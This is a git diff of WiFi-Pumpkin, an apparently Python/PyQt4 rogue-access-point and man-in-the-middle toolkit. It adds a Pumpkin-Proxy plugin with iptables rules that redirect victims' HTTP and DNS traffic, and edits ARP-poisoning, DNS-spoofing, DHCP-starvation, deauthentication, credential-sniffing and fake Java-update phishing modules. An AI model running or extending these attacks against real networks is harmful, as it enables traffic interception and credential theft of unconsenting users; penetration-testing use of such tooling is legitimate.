- self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',True)
- self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False)
- self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False)
- self.FSettings.Settings.set_setting('plugins','noproxy',False)
self.main_method.set_proxy_statusbar('BDF-proxy-ng')
self.unset_Rules('dns2proxy')
self.unset_Rules('sslstrip')
self.set_BDFproxyRule()
+ elif self.check_pumpkinProxy.isChecked():
+ self.main_method.set_proxy_statusbar('Pumpkin-Proxy')
+ self.unset_Rules('dns2proxy')
+ self.unset_Rules('sslstrip')
+ self.set_PumpkinProxy()
elif self.check_noproxy.isChecked():
- self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False)
- self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False)
- self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False)
- self.FSettings.Settings.set_setting('plugins','noproxy',True)
self.main_method.set_proxy_statusbar('',disabled=True)
self.unset_Rules('dns2proxy')
self.unset_Rules('sslstrip')
@@ -220,8 +237,8 @@ def optionsRules(self,type):
'sslstrip': str('iptables -t nat -A PREROUTING -p tcp'+
' --destination-port 80 -j REDIRECT --to-port '+self.FSettings.redirectport.text()),
'dns2proxy':str('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53'),
- 'bdfproxy':str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port '+
- str(self.FSettings.bdfProxy_port.value()))}
+ 'bdfproxy':str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080'),
+ 'PumpkinProxy' : str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080')}
return search[type]
# set rules to sslstrip
@@ -255,6 +272,17 @@ def set_BDFproxyRule(self):
item.setSizeHint(QSize(30,30))
self.FSettings.ListRules.addItem(item)
+ def set_PumpkinProxy(self):
+ items = []
+ for index in xrange(self.FSettings.ListRules.count()):
+ items.append(str(self.FSettings.ListRules.item(index).text()))
+ if self.optionsRules('PumpkinProxy') in items:
+ return
+ item = QListWidgetItem()
+ item.setText(self.optionsRules('PumpkinProxy'))
+ item.setSizeHint(QSize(30,30))
+ self.FSettings.ListRules.addItem(item)
+
def unset_Rules(self,type):
''' remove rules from Listwidget in settings widget'''
items = []
diff --git a/core/widgets/tabmodels.py b/core/widgets/tabmodels.py
index 7a3be71..8310ace 100644
--- a/core/widgets/tabmodels.py
+++ b/core/widgets/tabmodels.py
@@ -1,11 +1,16 @@
-from proxy import *
from os import path
from PyQt4.QtGui import *
from PyQt4.QtCore import *
from datetime import datetime
from core.utils import Refactor
+from collections import OrderedDict
from core.utility.threads import ThreadPopen
from core.widgets.docks.dockmonitor import dockAreaAPI
+from core.widgets.pluginssettings import PumpkinProxySettings
+from core.utility.collection import SettingsINI
+from plugins.external.scripts import *
+from plugins.extension import *
+from functools import partial
"""
Description:
This program is a core for wifi-pumpkin.py. file which includes functionality
@@ -27,12 +32,102 @@
along with this program. If not, see
"""
-class PumpkinProxy(QVBoxLayout):
+class PumpkinMitmproxy(QVBoxLayout):
+ ''' settings Transparent Proxy '''
+ sendError = pyqtSignal(str)
+ def __init__(self,main_method,parent = None):
+ super(PumpkinMitmproxy, self).__init__(parent)
+ self.mainLayout = QVBoxLayout()
+ self.config = SettingsINI('core/config/app/proxy.ini')
+ self.plugins = []
+ self.main_method = main_method
+ self.bt_SettingsDict = {}
+ self.check_PluginDict = {}
+ self.search_all_ProxyPlugins()
+ #scroll area
+ self.scrollwidget = QWidget()
+ self.scrollwidget.setLayout(self.mainLayout)
+ self.scroll = QScrollArea()
+ self.scroll.setWidgetResizable(True)
+ self.scroll.setWidget(self.scrollwidget)
+
+ self.TabPlugins = QTableWidget()
+ self.TabPlugins.setColumnCount(3)
+ self.TabPlugins.setRowCount(len(self.plugins))
+ self.TabPlugins.resizeRowsToContents()
+ self.TabPlugins.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred)
+ self.TabPlugins.horizontalHeader().setStretchLastSection(True)
+ self.TabPlugins.setSelectionBehavior(QAbstractItemView.SelectRows)
+ self.TabPlugins.setEditTriggers(QAbstractItemView.NoEditTriggers)
+ self.TabPlugins.verticalHeader().setVisible(False)
+ self.TabPlugins.verticalHeader().setDefaultSectionSize(27)
+ self.TabPlugins.setSortingEnabled(True)
+ self.THeaders = OrderedDict([ ('Plugins',[]),('Settings',[]),('Description',[])])
+ self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys())
+ self.TabPlugins.horizontalHeader().resizeSection(0,158)
+ self.TabPlugins.horizontalHeader().resizeSection(1,80)
+
+ # get all plugins and add into TabWidget
+ Headers = []
+ for plugin in self.plugins:
+ if plugin.ConfigParser:
+ self.bt_SettingsDict[plugin.Name] = QPushButton('Settings')
+ self.bt_SettingsDict[plugin.Name].clicked.connect(partial(self.setSettingsPlgins,plugin.Name))
+ else:
+ self.bt_SettingsDict[plugin.Name] = QPushButton('None')
+ self.check_PluginDict[plugin.Name] = QCheckBox(plugin.Name)
+ self.check_PluginDict[plugin.Name].setObjectName(plugin.Name)
+ self.check_PluginDict[plugin.Name].clicked.connect(partial(self.setPluginOption,plugin.Name))
+ self.THeaders['Plugins'].append(self.check_PluginDict[plugin.Name])
+ self.THeaders['Settings'].append({'name': plugin.Name})
+ self.THeaders['Description'].append(plugin.Description)
+ for n, key in enumerate(self.THeaders.keys()):
+ Headers.append(key)
+ for m, item in enumerate(self.THeaders[key]):
+ if type(item) == type(QCheckBox()):
+ self.TabPlugins.setCellWidget(m,n,item)
+ elif type(item) == type(dict()):
+ self.TabPlugins.setCellWidget(m,n,self.bt_SettingsDict[item['name']])
+ else:
+ item = QTableWidgetItem(item)
+ self.TabPlugins.setItem(m, n, item)
+ self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys())
+
+ # check status all checkbox plugins
+ for box in self.check_PluginDict.keys():
+ self.check_PluginDict[box].setChecked(self.config.get_setting('plugins',box,format=bool))
+
+ self.mainLayout.addWidget(self.TabPlugins)
+ self.layout = QHBoxLayout()
+ self.layout.addWidget(self.scroll)
+ self.addLayout(self.layout)
+
+ def setPluginOption(self, name,status):
+ ''' get each plugins status'''
+ # enable realtime disable and enable plugin
+ if self.main_method.PopUpPlugins.check_pumpkinProxy.isChecked() and \
+ self.main_method.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool):
+ self.main_method.Thread_PumpkinProxy.m.disablePlugin(name, status)
+ self.config.set_setting('plugins',name,status)
+
+ def setSettingsPlgins(self,plugin):
+ ''' open settings options for each plugins'''
+ key = 'set_{}'.format(plugin)
+ self.widget = PumpkinProxySettings(key,self.config.get_all_childname(key))
+ self.widget.show()
+
+ def search_all_ProxyPlugins(self):
+ ''' load all plugins function '''
+ plugin_classes = plugin.PluginTemplate.__subclasses__()
+ for p in plugin_classes:
+ self.plugins.append(p())
+
+class ProxySSLstrip(QVBoxLayout):
''' settings Transparent Proxy '''
sendError = pyqtSignal(str)
_PluginsToLoader = {'plugins': None,'Content':''}
def __init__(self,popup,main_method,FsettingsUI=None,parent = None):
- super(PumpkinProxy, self).__init__(parent)
+ super(ProxySSLstrip, self).__init__(parent)
self.main_method = main_method
self.popup = popup
self.urlinjected= []
@@ -120,6 +215,7 @@ def __init__(self,popup,main_method,FsettingsUI=None,parent = None):
self.addLayout(self.layout)
def get_filenameToInjection(self):
+ ''' open file for injection plugin '''
filename = QFileDialog.getOpenFileName(None,
'load File','','HTML (*.html);;js (*.js);;css (*.css)')
if len(filename) > 0:
@@ -127,6 +223,7 @@ def get_filenameToInjection(self):
QMessageBox.information(None, 'Scripts Loaders', 'file has been loaded with success.')
def setPluginsActivated(self):
+ ''' check arguments for plugins '''
item = str(self.comboxBox.currentText())
if self.popup.check_dns2proy.isChecked() or self.popup.check_sergioProxy.isChecked():
if self.plugins[str(item)]._requiresArgs:
@@ -145,6 +242,7 @@ def setPluginsActivated(self):
'\nchoice the plugin options with sslstrip enabled.'.format(self.argsLabel.text()))
def ProcessReadLogger(self):
+ '''function for read log injection proxy '''
if path.exists('logs/AccessPoint/injectionPage.log'):
with open('logs/AccessPoint/injectionPage.log','w') as bufferlog:
bufferlog.write(''), bufferlog.close()
@@ -155,6 +253,7 @@ def ProcessReadLogger(self):
QMessageBox.warning(self,'error proxy logger','Pump-Proxy::capture is not found')
def GetloggerInjection(self,data):
+ ''' read load file and add in Qlistwidget '''
if Refactor.getSize('logs/AccessPoint/injectionPage.log') > 255790:
with open('logs/AccessPoint/injectionPage.log','w') as bufferlog:
bufferlog.write(''), bufferlog.close()
@@ -164,6 +263,7 @@ def GetloggerInjection(self,data):
self.log_inject.scrollToBottom()
def readDocScripts(self,item):
+ ''' check type args for all plugins '''
try:
self.docScripts.setText(self.plugins[str(item)].__doc__)
if self.plugins[str(item)]._requiresArgs:
@@ -181,6 +281,7 @@ def readDocScripts(self,item):
pass
def unsetPluginsConf(self):
+ ''' reset config for all plugins '''
if hasattr(self,'injectionThread'): self.injectionThread.stop()
self._PluginsToLoader = {'plugins': None,'args':''}
self.btnEnable.setEnabled(True)
@@ -190,6 +291,7 @@ def unsetPluginsConf(self):
self.urlinjected = []
def SearchProxyPlugins(self):
+ ''' search all plugins in directory plugins/external/proxy'''
self.comboxBox.clear()
self.plugin_classes = Plugin.PluginProxy.__subclasses__()
self.plugins = {}
@@ -280,7 +382,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None,
self.layoutDHCP = QFormLayout()
self.layoutArea = QFormLayout()
self.layoutbuttons = QHBoxLayout()
- self.btnDefault = QPushButton('default')
+ self.btnDefault = QPushButton('Default')
self.btnSave = QPushButton('save settings')
self.btnSave.setIcon(QIcon('icons/export.png'))
self.btnDefault.setIcon(QIcon('icons/settings.png'))
@@ -300,7 +402,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None,
self.subnet = QLineEdit(self.FSettings.Settings.get_setting('dhcp','subnet'))
self.broadcast = QLineEdit(self.FSettings.Settings.get_setting('dhcp','broadcast'))
self.dhcpClassIP.currentIndexChanged.connect(self.dhcpClassIPClicked)
- self.GroupDHCP.setTitle('DHCP-settings')
+ self.GroupDHCP.setTitle('DHCP-Settings')
self.GroupDHCP.setLayout(self.layoutDHCP)
self.layoutDHCP.addRow('Class Ranges',self.dhcpClassIP)
self.layoutDHCP.addRow('default-lease-time',self.leaseTime_def)
@@ -324,12 +426,14 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None,
self.CB_bdfproxy = QCheckBox('BDFProxy-ng')
self.CB_dns2proxy = QCheckBox('Dns2Proxy')
self.CB_responder = QCheckBox('Responder')
+ self.CB_pumpkinPro = QCheckBox('Pumpkin-Proxy')
self.CB_ActiveMode.setChecked(self.FSettings.Settings.get_setting('dockarea','advanced',format=bool))
self.CB_Cread.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_credencials',format=bool))
self.CB_monitorURL.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_urlmonitor',format=bool))
self.CB_bdfproxy.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_bdfproxy',format=bool))
self.CB_dns2proxy.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_dns2proxy',format=bool))
self.CB_responder.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_responder',format=bool))
+ self.CB_pumpkinPro.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_PumpkinProxy',format=bool))
#connect
self.doCheckAdvanced()
@@ -339,6 +443,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None,
self.CB_bdfproxy.clicked.connect(self.doCheckAdvanced)
self.CB_dns2proxy.clicked.connect(self.doCheckAdvanced)
self.CB_responder.clicked.connect(self.doCheckAdvanced)
+ self.CB_pumpkinPro.clicked.connect(self.doCheckAdvanced)
# group
self.layoutArea.addRow(self.CB_ActiveMode)
self.gridArea.addWidget(self.CB_monitorURL,0,0,)
@@ -347,6 +452,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None,
self.gridArea.addWidget(self.CB_bdfproxy,1,0)
self.gridArea.addWidget(self.CB_dns2proxy,1,1)
self.gridArea.addWidget(self.CB_responder,1,2)
+ self.gridArea.addWidget(self.CB_pumpkinPro,0,2)
self.layoutArea.addRow(self.gridArea)
self.GroupArea.setTitle('Activity Monitor settings')
self.GroupArea.setLayout(self.layoutArea)
@@ -408,23 +514,27 @@ def doCheckAdvanced(self):
self.CB_bdfproxy.setEnabled(True)
self.CB_dns2proxy.setEnabled(True)
self.CB_responder.setEnabled(True)
+ self.CB_pumpkinPro.setEnabled(True)
else:
self.CB_monitorURL.setEnabled(False)
self.CB_Cread.setEnabled(False)
self.CB_bdfproxy.setEnabled(False)
self.CB_dns2proxy.setEnabled(False)
self.CB_responder.setEnabled(False)
+ self.CB_pumpkinPro.setEnabled(False)
self.FSettings.Settings.set_setting('dockarea','dock_credencials',self.CB_Cread.isChecked())
self.FSettings.Settings.set_setting('dockarea','dock_urlmonitor',self.CB_monitorURL.isChecked())
self.FSettings.Settings.set_setting('dockarea','dock_bdfproxy',self.CB_bdfproxy.isChecked())
self.FSettings.Settings.set_setting('dockarea','dock_dns2proxy',self.CB_dns2proxy.isChecked())
self.FSettings.Settings.set_setting('dockarea','dock_responder',self.CB_responder.isChecked())
+ self.FSettings.Settings.set_setting('dockarea','dock_PumpkinProxy',self.CB_pumpkinPro.isChecked())
self.FSettings.Settings.set_setting('dockarea','advanced',self.CB_ActiveMode.isChecked())
self.dockInfo['HTTP-Requests']['active'] = self.CB_monitorURL.isChecked()
self.dockInfo['HTTP-Authentication']['active'] = self.CB_Cread.isChecked()
self.dockInfo['BDFProxy']['active'] = self.CB_bdfproxy.isChecked()
self.dockInfo['Dns2Proxy']['active'] = self.CB_dns2proxy.isChecked()
self.dockInfo['Responder']['active'] = self.CB_responder.isChecked()
+ self.dockInfo['PumpkinProxy']['active'] = self.CB_pumpkinPro.isChecked()
if self.CB_ActiveMode.isChecked():
self.AreaWidgetLoader(self.dockInfo)
self.checkDockArea.emit(self.AllDockArea)
diff --git a/docs/proxyscenario.png b/docs/proxyscenario.png
new file mode 100644
index 0000000..b6d767a
Binary files /dev/null and b/docs/proxyscenario.png differ
diff --git a/icons/donatepay.gif b/icons/donatepay.gif
new file mode 100644
index 0000000..4700ced
Binary files /dev/null and b/icons/donatepay.gif differ
diff --git a/icons/pumpkinproxy.png b/icons/pumpkinproxy.png
new file mode 100644
index 0000000..83bdece
Binary files /dev/null and b/icons/pumpkinproxy.png differ
diff --git a/plugins/BDFProxy-ng/bdf/intel/__init__.py b/logs/AccessPoint/pumpkin-proxy.log
similarity index 100%
rename from plugins/BDFProxy-ng/bdf/intel/__init__.py
rename to logs/AccessPoint/pumpkin-proxy.log
diff --git a/modules/monitors/Credentials.py b/modules/monitors/credentials.py
similarity index 97%
rename from modules/monitors/Credentials.py
rename to modules/monitors/credentials.py
index bd69047..5dacdc7 100644
--- a/modules/monitors/Credentials.py
+++ b/modules/monitors/credentials.py
@@ -12,6 +12,9 @@ def __init__(self, parent = None):
self.center()
self.Qui()
+ def closeEvent(self, event):
+ self.exit_function()
+
def Start_Get_creds(self):
self.listDns.clear()
self.btn_getdata.setEnabled(False)
diff --git a/modules/monitors/dns2proxy.py b/modules/monitors/dns2proxy.py
index 8f14a5f..47fa973 100644
--- a/modules/monitors/dns2proxy.py
+++ b/modules/monitors/dns2proxy.py
@@ -13,6 +13,9 @@ def __init__(self, parent = None):
self.center()
self.Qui()
+ def closeEvent(self, event):
+ self.exit_function()
+
def Start_Get_creds(self):
self.listDns.clear()
self.btn_getdata.setEnabled(False)
diff --git a/modules/monitors/netcreds.py b/modules/monitors/netcreds.py
index fe79d39..241dbdc 100644
--- a/modules/monitors/netcreds.py
+++ b/modules/monitors/netcreds.py
@@ -13,6 +13,9 @@ def __init__(self, parent = None):
self.center()
self.Qui()
+ def closeEvent(self, event):
+ self.exit_function()
+
def Start_Get_creds(self):
self.listURL.clear()
self.list_creds.clear()
diff --git a/modules/poisoners/ArpPosion.py b/modules/poisoners/ArpPosion.py
index b335691..b33bed3 100644
--- a/modules/poisoners/ArpPosion.py
+++ b/modules/poisoners/ArpPosion.py
@@ -31,7 +31,7 @@ class frm_Arp_Poison(PumpkinModule):
def __init__(self,PhishingManager ,parent=None):
super(frm_Arp_Poison, self).__init__(parent)
- self.setWindowTitle('Arp Poison Attack ')
+ self.setWindowTitle('ARP Poisoner ')
self.Main = QVBoxLayout()
self.owd = getcwd()
self.Ftemplates = PhishingManager
@@ -43,7 +43,7 @@ def __init__(self,PhishingManager ,parent=None):
def closeEvent(self, event):
reply = QMessageBox.question(self, 'About Exit',
- 'Are you sure to close ArpPosion?', QMessageBox.Yes |
+ 'Are you sure that you want to close ARP Posion?', QMessageBox.Yes |
QMessageBox.No, QMessageBox.No)
if reply == QMessageBox.Yes:
event.accept()
@@ -60,19 +60,6 @@ def closeEvent(self, event):
def GUI(self):
self.form =QFormLayout()
- self.movie = QMovie('icons/loading2.gif', QByteArray(), self)
- size = self.movie.scaledSize()
- self.setGeometry(200, 200, size.width(), size.height())
- self.movie_screen = QLabel()
- self.movie_screen.setFixedHeight(200)
- self.movie_screen.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
- self.movie_screen.setAlignment(Qt.AlignCenter)
- self.movie.setCacheMode(QMovie.CacheAll)
- self.movie.setSpeed(100)
- self.movie_screen.setMovie(self.movie)
- self.movie_screen.setDisabled(False)
-
- self.movie.start()
self.tables = QTableWidget(5,3)
self.tables.setRowCount(100)
self.tables.setFixedHeight(200)
@@ -158,7 +145,6 @@ def GUI(self):
self.ConfigureEdits()
self.form0 = QGridLayout()
- self.form0.addWidget(self.movie_screen,0,0)
self.form0.addWidget(self.tables,0,0)
self.form.addRow(self.form0)
@@ -167,7 +153,7 @@ def GUI(self):
self.form.addRow('Gateway:', self.txt_gateway)
self.form.addRow('MAC address:', self.txt_mac)
self.form.addRow('Redirect IP:', self.txt_redirect)
- self.form.addRow('IP ranger Scan:',self.ip_range)
+ self.form.addRow('IP Scan Range:',self.ip_range)
self.form.addRow('Network Adapter:',self.ComboIface)
self.form.addRow(self.grid0)
self.form.addRow(self.grid2)
@@ -292,7 +278,7 @@ def Start_Attack(self):
self.ThreadDirc['Arp_posion'].append(redirectPackets)
redirectPackets.start()
return
- QMessageBox.information(self,'Error Redirect IP','Redirect IP not found')
+ QMessageBox.information(self,'Error Redirect IP','Redirect IP is not found')
def Start_scan(self):
Headers = []
@@ -308,7 +294,7 @@ def Start_scan(self):
for key in reversed(self.data.keys()):
Headers.append(key)
return self.tables.setHorizontalHeaderLabels(Headers)
- return QMessageBox.information(self,'Error in gateway','gateway not found.')
+ return QMessageBox.information(self,'Error in gateway','gateway is not found.')
def get_result_scanner_ip(self,data):
Headers = []
diff --git a/modules/poisoners/DnsSpoof.py b/modules/poisoners/DnsSpoof.py
index c10495f..1a52135 100644
--- a/modules/poisoners/DnsSpoof.py
+++ b/modules/poisoners/DnsSpoof.py
@@ -34,7 +34,7 @@
class frm_DnsSpoof(PumpkinModule):
def __init__(self, PhishingManager,parent=None):
super(frm_DnsSpoof, self).__init__(parent)
- self.setWindowTitle('Dns Spoof Attack')
+ self.setWindowTitle('DNS Spoofer')
self.Main = QVBoxLayout()
self.owd = getcwd()
self.Ftemplates = PhishingManager
@@ -45,8 +45,8 @@ def __init__(self, PhishingManager,parent=None):
self.GUI()
def closeEvent(self, event):
- reply = QMessageBox.question(self, 'About Exit Dns spoof',
- 'Are you sure to close Dns spoof?', QMessageBox.Yes |
+ reply = QMessageBox.question(self, 'DNS spoofer',
+ 'Are you sure that you want to close Dns spoof?', QMessageBox.Yes |
QMessageBox.No, QMessageBox.No)
if reply == QMessageBox.Yes:
event.accept()
@@ -98,9 +98,9 @@ def GUI(self):
self.connect(self.ComboIface, SIGNAL("currentIndexChanged(QString)"), self.discoveryIface)
self.layoutform.addRow('Target:',self.txt_target)
- self.layoutform.addRow('gateway:',self.txt_gateway)
+ self.layoutform.addRow('Gateway:',self.txt_gateway)
self.layoutform.addRow('Redirect IP:',self.txt_redirect)
- self.layoutform.addRow('Range Scan:',self.ip_range)
+ self.layoutform.addRow('IP Scan Range:',self.ip_range)
self.layoutform.addRow('Interface:',self.ComboIface)
self.GroupOptions = QGroupBox(self)
@@ -232,14 +232,14 @@ def listItemclicked(self,pos):
menu = QMenu()
additem = menu.addAction('Add Host')
removeitem = menu.addAction('Remove Host')
- clearitem = menu.addAction('clear all')
+ clearitem = menu.addAction('Clear All')
action = menu.exec_(self.myListDns.viewport().mapToGlobal(pos))
if action == removeitem:
if item != []:
self.myListDns.takeItem(self.myListDns.currentRow())
elif action == additem:
text, resp = QInputDialog.getText(self, 'Add DNS',
- 'Enter the DNS for spoof hosts: ex: example2.com')
+ 'Enter the Host to spoof: (ex.: example2.com)')
if resp:
try:
itemsexits = []
@@ -247,7 +247,7 @@ def listItemclicked(self,pos):
itemsexits.append(str(self.myListDns.item(index).text()))
for i in itemsexits:
if search(str(text),i):
- QMessageBox.information(self,'Dns Rsolver','this DNS already exist on List Attack')
+ QMessageBox.information(self,'Dns Rsolver','This Host already exists on the List')
return
item = QListWidgetItem()
item.setIcon(QIcon('icons/dnsspoof.png'))
diff --git a/modules/spreads/UpdateFake.py b/modules/spreads/UpdateFake.py
index 36388e2..f6d79cc 100644
--- a/modules/spreads/UpdateFake.py
+++ b/modules/spreads/UpdateFake.py
@@ -37,7 +37,7 @@ def __init__(self, parent=None):
self.GUI()
def closeEvent(self, event):
- reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?", QMessageBox.Yes |
+ reply = QMessageBox.question(self, 'About Exit',"Are you sure that you want to quit?", QMessageBox.Yes |
QMessageBox.No, QMessageBox.No)
if reply == QMessageBox.Yes:
event.accept()
@@ -70,7 +70,7 @@ def GUI(self):
self.layoutAdpter = QFormLayout()
self.GroupAdpter = QGroupBox(self)
- self.GroupAdpter.setTitle('Network Adapter::')
+ self.GroupAdpter.setTitle('Network Adapter:')
self.GroupAdpter.setLayout(self.layoutAdpter)
self.layoutLogBox = QFormLayout()
@@ -81,7 +81,7 @@ def GUI(self):
# buttons
self.btn_open = QPushButton("...")
self.btn_stop = QPushButton("Stop Server")
- self.btn_reload = QPushButton("refresh")
+ self.btn_reload = QPushButton("Refresh")
self.btn_start_server = QPushButton("Start Server")
# size
self.btn_open.setMaximumWidth(90)
@@ -190,7 +190,7 @@ def SettingsPage(self,pathPage,directory,filename,info):
ip = Refactor.get_Ipaddr(str(self.cb_interface.currentText()))
if ip == None:
return QMessageBox.warning(self, 'Ip not found',
- 'the ipaddress not found on network adapter seleted.')
+ 'The IP Address was not found on the selected Network Adapter.')
self.btn_start_server.setEnabled(False)
self.btn_stop.setEnabled(True)
self.threadServer(directory,ip)
@@ -205,7 +205,7 @@ def server_start(self):
return self.SettingsPage('templates/Update/Settings_java.html',
'templates/Update/Java_Update/','java-update.exe',False)
- return QMessageBox.information(self, 'Phishing settings', 'please select the option in Phishing Page:')
+ return QMessageBox.information(self, 'Phishing settings', 'Please select an option in the Phishing page:')
def threadServer(self,directory,ip):
global threadloading
diff --git a/modules/systems/Macchanger.py b/modules/systems/Macchanger.py
deleted file mode 100644
index 03aa913..0000000
--- a/modules/systems/Macchanger.py
+++ /dev/null
@@ -1,88 +0,0 @@
-from core.loaders.models.PackagesUI import *
-from os import geteuid
-import subprocess
-import random
-
-
-"""
-Description:
- This program is a module for wifi-pumpkin.py file which includes functionality
- for change mac system.
-
-Copyright:
- Copyright (C) 2015 Marcos Nesster P0cl4bs Team
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see
-"""
-
-class frm_mac_generator(PumpkinModule):
- def __init__(self, parent=None):
- super(frm_mac_generator, self).__init__(parent)
- self.setWindowIcon(QIcon('icons/icon.ico'))
- self.setWindowTitle("MAC Address Generator")
- self.Main = QVBoxLayout()
- self.prefix = [ 0x00, 0xCB, 0x01,0x03 ,\
- 0x84,0x78,0xAC, 0x88,0xD3,\
- 0x7B, 0x8C,0x7C,0xB5, 0x90,0x99,0x16, \
- 0x9C, 0x6A ,0xBE , 0x55, 0x12, 0x6C , 0xD2,\
- 0x8b, 0xDA, 0xF1, 0x9c , 0x20 , 0x3A, 0x4A,\
- 0x2F, 0x31, 0x32, 0x1D, 0x5F, 0x70, 0x5A,\
- 0x5B, 0x5C, 0x63, 0x4F, 0x3F, 0x5F, 0x9E]
-
- self.loadtheme(self.configure.XmlThemeSelected())
- self.MacGUI()
-
- @pyqtSlot(QModelIndex)
- def combo_clicked(self, device):
- if device == '':
- self.i_mac.setText('Not Found')
- return
- self.i_mac.setText(Refactor.get_interface_mac(device))
-
- def action_btn_random(self):
- mac = Refactor.randomMacAddress([random.choice(self.prefix) ,
- random.choice(self.prefix) , random.choice(self.prefix)])
- self.i_mac.setText(mac)
-
- def setMAC(self,device,mac):
- subprocess.check_call(["ifconfig",device, "down"])
- subprocess.call(["ifconfig",device, "hw", "ether",mac])
- subprocess.check_call(["ifconfig",device, "up"])
-
- def change_macaddress(self):
- if not geteuid() == 0:
- QMessageBox.information(self, "Permission Denied",
- 'Tool must be run as root try again.')
- else:
- self.setMAC(str(self.combo_card.currentText()), str(self.i_mac.text()))
- self.deleteLater()
-
- def MacGUI(self):
- self.form_mac = QFormLayout()
- self.i_mac = QLineEdit(self)
- self.combo_card = QComboBox(self)
- self.btn_random = QPushButton("Random MAC")
- self.btn_random.setIcon(QIcon("icons/refresh.png"))
- self.btn_save = QPushButton("Save")
- self.btn_save.setIcon(QIcon("icons/Save.png"))
- self.btn_save.clicked.connect(self.change_macaddress)
- self.btn_random.clicked.connect(self.action_btn_random)
- self.cards = Refactor.get_interfaces()['all']
- self.combo_card.addItems(self.cards)
- self.connect(self.combo_card, SIGNAL('activated(QString)'), self.combo_clicked)
- self.form_mac.addRow(self.combo_card,self.i_mac)
- self.form_mac.addRow("MAC Random: ", self.btn_random)
- self.form_mac.addRow(self.btn_save)
- self.Main.addLayout(self.form_mac)
- self.setLayout(self.Main)
-
diff --git a/modules/systems/dhcpStarvation.py b/modules/systems/dhcpStarvation.py
index 0346a85..bd54817 100644
--- a/modules/systems/dhcpStarvation.py
+++ b/modules/systems/dhcpStarvation.py
@@ -65,7 +65,7 @@ def D_attack(self):
self.threadstar.setObjectName("DHCP Starvation")
self.threadstar.start()
return
- QMessageBox.information(self, 'Interface Not found', 'None detected network interface try again.')
+ QMessageBox.information(self, 'Interface No found', 'No Network Adapters were detected.')
def attack_OFF(self):
self.check.setStyleSheet("QLabel { color : red; }")
diff --git a/modules/wireless/ProbeRequest.py b/modules/wireless/ProbeRequest.py
index a7e5d80..1634620 100644
--- a/modules/wireless/ProbeRequest.py
+++ b/modules/wireless/ProbeRequest.py
@@ -69,7 +69,7 @@ def setupGUI(self):
# create all buttons
self.btn_scan = QPushButton('Start')
self.btn_stop = QPushButton('Stop')
- self.btn_refrash = QPushButton('Refrash')
+ self.btn_refrash = QPushButton('Refresh')
self.btn_refrash.clicked.connect(self.loadCard)
self.btn_stop.clicked.connect(self.StopProbeResquest)
self.btn_scan.clicked.connect(self.StartProbeResquest)
@@ -151,7 +151,7 @@ def StopProbeResquest(self):
def StartProbeResquest(self):
if self.get_placa.currentText() == '':
- return QMessageBox.information(self, 'Network Adapter', 'Network Adapter Not found try again.')
+ return QMessageBox.information(self, 'Network Adapter', 'Network Adapter is not found. Try again.')
self.btn_stop.setEnabled(True)
self.btn_scan.setEnabled(False)
set_monitor_mode(self.get_placa.currentText()).setEnable()
diff --git a/modules/wireless/WirelessDeauth.py b/modules/wireless/WirelessDeauth.py
index c2cbca0..1b568f0 100644
--- a/modules/wireless/WirelessDeauth.py
+++ b/modules/wireless/WirelessDeauth.py
@@ -31,7 +31,7 @@ class frm_deauth(PumpkinModule):
def __init__(self, parent=None):
super(frm_deauth, self).__init__(parent)
self.Main = QVBoxLayout()
- self.setWindowTitle("Deauth Attack wireless Route")
+ self.setWindowTitle("Wireless Deauthentication Attack")
self.setWindowIcon(QIcon('icons/icon.ico'))
self.ApsCaptured = {}
self.data = {'Bssid':[], 'Essid':[], 'Channel':[]}
@@ -41,7 +41,7 @@ def __init__(self, parent=None):
def closeEvent(self, event):
global threadloading
if len(threadloading['deauth']) != 0 or len(threadloading['mdk3']) != 0:
- reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?",
+ reply = QMessageBox.question(self, 'About Exit',"Are you sure that you want to quit?",
QMessageBox.Yes | QMessageBox.No, QMessageBox.No)
if reply == QMessageBox.Yes:
event.accept()
@@ -101,16 +101,16 @@ def window_qt(self):
self.linetarget = QLineEdit(self)
self.input_client = QLineEdit(self)
self.checkbox_client = QCheckBox(self)
- self.checkbox_client.setText('set a Custom client to deauth')
+ self.checkbox_client.setText('Set a custom client to deauthenticate')
self.checkbox_client.clicked.connect(self.get_event_checkbox_client)
self.input_client.setText("ff:ff:ff:ff:ff:ff")
self.btn_enviar = QPushButton("Send Attack", self)
self.btn_enviar.clicked.connect(self.attack_deauth)
- self.btn_scan_start = QPushButton("Start scan", self)
+ self.btn_scan_start = QPushButton("Start Scan", self)
self.btn_scan_start.clicked.connect(self.SettingsScan)
